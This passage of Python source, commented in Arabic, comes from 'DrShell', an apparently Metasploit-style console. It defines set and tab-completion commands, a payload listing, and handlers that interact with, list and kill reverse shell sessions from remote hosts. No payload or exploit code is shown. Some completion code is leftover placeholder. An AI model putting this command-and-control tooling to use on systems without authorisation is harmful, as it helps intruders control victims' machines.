| self.data[args[0]] = "" 452 | print(args[0], "=>", "") 453 | else: 454 | print("\nNo module loaded.\n") 455 | 456 | def complete_set(self, text, line, begidx, endidx): 457 | try: 458 | """مكمل للأمر hello.""" 459 | # التأكد من وجود الوحدة والخيارات قبل المتابعة 460 | if self.module is not None and "options" in self.module.metadata: 461 | dynamic_options = list(self.module.metadata["options"].keys()) # الحصول على أسماء الخيارات من metadata 462 | options = dynamic_options # دمج القوائم ليست هناك حاجة في هذا السياق 463 | 464 | if text: 465 | completions = [option for option in options if option.startswith(text)] 466 | else: 467 | completions = options 468 | 469 | return completions 470 | else: 471 | return [] # إرجاع قائمة فارغة أو قيمة مناسبة عند عدم تحميل وحدة 472 | except: 473 | return [] # إرجاع قائمة فارغة أو قيمة مناسبة عند عدم تحميل وحدة 474 | 475 | def do_setg(self, args): 476 | if args == "": 477 | print("\nNo module loaded.\n") 478 | return 479 | if self.module is not None: 480 | if args != "": 481 | try: 482 | args = args.split(" ") 483 | self.data[args[0]] = args[1] 484 | print(args[0], "=>", args[1]) 485 | except: 486 | self.data[args[0]] = "" 487 | print(args[0], "=>", "") 488 | else: 489 | print("\nNo module loaded.\n") 490 | 491 | def complete_setg(self, text, line, begidx, endidx): 492 | """مكمل للأمر hello.""" 493 | options = ["world", "friend", "everyone"] 494 | if text: 495 | completions = [option for option in options if option.startswith(text)] 496 | else: 497 | completions = options 498 | return completions 499 | 500 | 501 | def do_list_payloads(self, arg): 502 | "List all configured payloads" 503 | console.print("Available payloads:") 504 | 505 | print("\n", "payloads".capitalize(), sep="") 506 | print("=" * 8, end="\n\n") 507 | var = self.S.listpath("./modules/" + "payloads") 508 | 509 | table = Table() 510 | table.add_column("#") 511 | table.add_column("Name") 512 | table.add_column("Description") 513 | 514 | S = Sort() 515 | Dicts = self.readjson 516 | 517 | with Live( 518 | table, refresh_per_second=4 519 | ) as live: # update 4 times a second to feel fluid 520 | x = 0 521 | for i in Dicts: 522 | if i in var: 523 | table.add_row( 524 | str(x), 525 | i.replace("./modules/", "").replace(".py", ""), 526 | Dicts[i]["description"], 527 | ) 528 | x += 1 529 | self.select.append(str(i)) 530 | 531 | 532 | 533 | def do_sessions(self, arg): 534 | args = arg.split() 535 | if "-h" in args: 536 | self.print_help() 537 | elif "-i" in args: 538 | index = args.index("-i") + 1 539 | if index < len(args): 540 | uid = args[index] 541 | self.interact_with_session(uid) 542 | else: 543 | console.print("No UID provided for interaction.", style="bold red") 544 | elif "-k" in args: 545 | index = args.index("-k") + 1 546 | if index < len(args): 547 | uid = args[index] 548 | self.kill_session(uid) 549 | else: 550 | console.print("No UID provided for killing session.", style="bold red") 551 | elif "-K" in args: 552 | self.kill_all_sessions() 553 | else: 554 | self.show_sessions() 555 | 556 | def print_help(self): 557 | """Print the help for the sessions command.""" 558 | help_text = """ 559 | Usage of the sessions command: 560 | -h Show this help message 561 | -i Interact with a specified session by its ID 562 | -k Kill a specific session by its ID 563 | -K Kill all sessions 564 | 565 | Displays active sessions if no option is provided. 566 | """ 567 | console.print(help_text) 568 | 569 | def interact_with_session(self, uid): 570 | """Switch to a reverse shell session by UID.""" 571 | if uid in self.sessions: 572 | session = self.sessions[uid] 573 | console.print(f"[bold blue][*][/bold blue] Starting interaction with [white]{uid}...[/white]") 574 | client_socket = session["socket"] 575 | from src.core.server import handle_client 576 | 577 | handle_client(uid, client_socket, session["address"]) 578 | else: 579 | console.print(f"\n[bold blue][*][/bold blue] Session [{uid}] not found\n") 580 | 581 | def kill_session(self, uid): 582 | """Kill a specific session by UID.""" 583 | console.print(f"\n[bold blue][*][/bold blue][white] Killing the following session(s): {uid}[/white]") 584 | if uid in self.sessions: 585 | session = self.sessions.pop(uid) 586 | console.print(f"[bold blue][*][/bold blue][white] Killing session {uid}[white]") 587 | session["socket"].close() 588 | console.print(f"[bold blue][*][/bold blue][white] {session['address']} - Command shell session {uid} closed.[white]") 589 | 590 | else: 591 | console.print(f"Session [{uid}] not found", style="bold red") 592 | 593 | def kill_all_sessions(self): 594 | """Kill all sessions.""" 595 | uids = [] 596 | for uid, session in self.sessions.items(): 597 | uids.append(uid) 598 | session["socket"].close() 599 | console.print(f"\n[bold blue][*][/bold blue][white] Killing the following session(s): {uids}[/white]") 600 | self.sessions.clear() 601 | console.print("[bold blue][*][/bold blue] All sessions have been terminated.") 602 | 603 | def show_sessions(self): 604 | if not self.sessions: 605 | console.print("\nActive sessions") 606 | console.print("===============\n") 607 | console.print("No active sessions.\n") 608 | else: 609 | console.print("\nActive sessions") 610 | console.print("===============\n") 611 | table = Table(show_header=True, header_style="bold magenta") 612 | table.add_column("Session ID", style="dim", width=12) 613 | table.add_column("Address", min_width=20) 614 | table.add_column("Port", justify="right") 615 | table.add_column("Country", min_width=15) 616 | table.add_column("Device Type", min_width=20) 617 | for uid, info in self.sessions.items(): 618 | table.add_row( 619 | uid, 620 | info['address'], 621 | str(info['port']), 622 | info.get('country', 'N/A'), 623 | info.get('device_type', 'N/A') 624 | ) 625 | console.print(table) 626 | def do_back(self, args): 627 | self.pprompt("DrShell>") 628 | self.module = None 629 | self.used_module = None 630 | 631 | def do_exit(self, arg): 632 | "Exit the server" 633 | 634 | 635 | 636 | for session in self.sessions.values(): 637 | session["socket"].close() 638 | console.print("[bold blue][*][/bold blue] Exiting the DrShell...") 639 | 640 | # إشارة للخيوط للتوقف 641 | self.flag.set() 642 | sys.exit() 643 | --------------------------------------------------------------------------------